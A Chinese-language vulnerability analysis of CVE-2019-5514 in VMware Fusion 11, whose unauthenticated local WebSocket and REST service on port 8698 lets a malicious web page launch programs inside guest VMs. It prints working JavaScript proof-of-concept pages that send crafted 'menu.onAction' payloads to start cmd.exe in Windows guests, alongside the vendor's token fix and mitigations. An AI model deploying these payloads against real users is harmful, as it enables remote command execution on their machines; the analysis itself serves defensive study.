CVE-2019-5514 VMware Fusion 11 Guest机远程代码执行
字数 1288 2025-08-29 08:32:09
VMware Fusion 11 Guest机远程代码执行漏洞(CVE-2019-5514)分析报告
漏洞概述
CVE-2019-5514是VMware Fusion 11中的一个严重漏洞,允许攻击者通过Web在Guest虚拟机上执行任意命令。该漏洞源于VMware Fusion的"应用菜单服务"(amsrv)组件,该组件默认在localhost的8698端口开放WebSocket和REST API接口,且未实施适当的身份验证机制。
受影响组件
- amsrv进程:VMware Fusion应用菜单服务,默认监听8698端口
- vmrest进程:VMware REST API服务
- VMware Fusion Applications Menu.app:包含漏洞的核心组件
漏洞细节
1. 信息泄露漏洞
REST API信息泄露:
- 访问
http://localhost:8698/api/internal/vms可获取VM详细信息,包括:- VM ID
- 处理器和内存配置
- VM文件路径
- 电源状态
WebSocket信息泄露:
- 通过发送
menu.refresh请求可获取:- VM列表及名称
- 缓存路径
- 已安装应用程序信息
2. 远程代码执行漏洞
利用方式:
- 通过WebSocket连接到
ws://127.0.0.1:8698/ws - 发送特制的JSON payload执行命令
关键API端点:
menu.onAction:执行应用程序menu.selectIndex:选择目标VMmenu.refresh:刷新VM信息
漏洞利用步骤
步骤1:发现服务
lsof -i :8698
ps aux | grep amsrv
步骤2:信息收集
REST API方式:
var url = 'http://localhost:8698/api/internal/vms';
var xhr = new XMLHttpRequest();
xhr.open('GET', url, true);
xhr.responseType = 'text';
xhr.onload = function() {
if (xhr.readyState === xhr.DONE && xhr.status === 200) {
console.log(xhr.response);
}
};
xhr.send(null);
WebSocket方式:
ws = new WebSocket("ws://127.0.0.1:8698/ws");
ws.onopen = function() {
const payload = {"name":"menu.refresh"};
ws.send(JSON.stringify(payload));
};
ws.onmessage = function(data) {
console.log(JSON.parse(data.data));
};
步骤3:执行命令
基础PoC:
<script>
ws = new WebSocket("ws://127.0.0.1:8698/ws");
ws.onopen = function() {
const payload = {
"name":"menu.onAction",
"object":"11 22 33 44 55 66 77 88-99 aa bb cc dd ee ff 00",
"userInfo": {
"action":"launchGuestApp:",
"vmUUID":"11 22 33 44 55 66 77 88-99 aa bb cc dd ee ff 00",
"representedObject":"cmd.exe"
}
};
ws.send(JSON.stringify(payload));
};
</script>
改进版PoC(无需vmUUID):
<script>
ws = new WebSocket("ws://127.0.0.1:8698/ws");
ws.onopen = function() {
const payload = {"name":"menu.refresh"};
ws.send(JSON.stringify(payload));
};
ws.onmessage = function(data) {
var j_son = JSON.parse(data.data);
var vmlist = j_son.value.vmList;
for (var i = 0; i < vmlist.length; i++) {
const payload = {
"name":"menu.onAction",
"userInfo": {
"action":"launchGuestApp:",
"selectedIndex":i,
"representedObject":"cmd.exe"
}
};
if (vmlist[i].name.includes("Win") || vmlist[i].name.includes("win")) {
ws.send(JSON.stringify(payload));
}
}
ws.close();
};
</script>
漏洞修复
VMware在VMSA-2019-0005中修复了该漏洞,主要措施包括:
-
引入Token认证:
- 每次启动VM时生成随机Token
- Token包含特殊字符、大小写字母和数字的组合
- 对Token进行Base64编码
-
修改后的连接方式:
ws://localhost:8698/ws?token=Base64EncodedToken http://localhost:8698?token=Base64EncodedToken -
Token生成算法:
String.prototype.pick = function(min, max) { var n, chars = ''; if (typeof max === 'undefined') { n = min; } else { n = min + Math.floor(Math.random() * (max - min + 1)); } for (var i = 0; i < n; i++) { chars += this.charAt(Math.floor(Math.random() * this.length)); } return chars; }; String.prototype.shuffle = function() { var array = this.split(''); var tmp, current, top = array.length; if (top) while (--top) { current = Math.floor(Math.random() * (top + 1)); tmp = array[current]; array[current] = array[top]; array[top] = tmp; } return array.join(''); }; export class Token { public static generate(): string { const specials = '!@#$%^&*()_+-=[]{};:,./<>?'; const lowercase = 'abcdefghijklmnopqrstuvwxyz'; const uppercase = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'; const numbers = '0123456789'; const all = specials + lowercase + uppercase + numbers; let token = ''; token += specials.pick(1); token += lowercase.pick(1); token += uppercase.pick(1); token += numbers.pick(1); token += all.pick(5, 7); token = token.shuffle(); return Buffer.from(token).toString('base64'); } }
缓解措施
- 升级到VMware Fusion的最新版本
- 如果无法立即升级,可考虑:
- 禁用VMware Fusion应用菜单服务
- 使用防火墙规则阻止8698端口的访问
- 限制localhost的网络访问权限
技术分析要点
-
amsrv进程:
- 路径:
/Applications/VMware Fusion.app/Contents/Library/amsrv - 启动参数:
-D -p 8698 - 相关文件:
app.asar(Node.js打包文件)
- 路径:
-
漏洞根源:
- 未认证的WebSocket接口
- 未认证的REST API接口
- 过度信任本地网络请求
-
利用前提条件:
- 目标主机运行VMware Fusion
- 目标VM已安装VMware Tools
- 攻击者能诱使用户访问恶意网页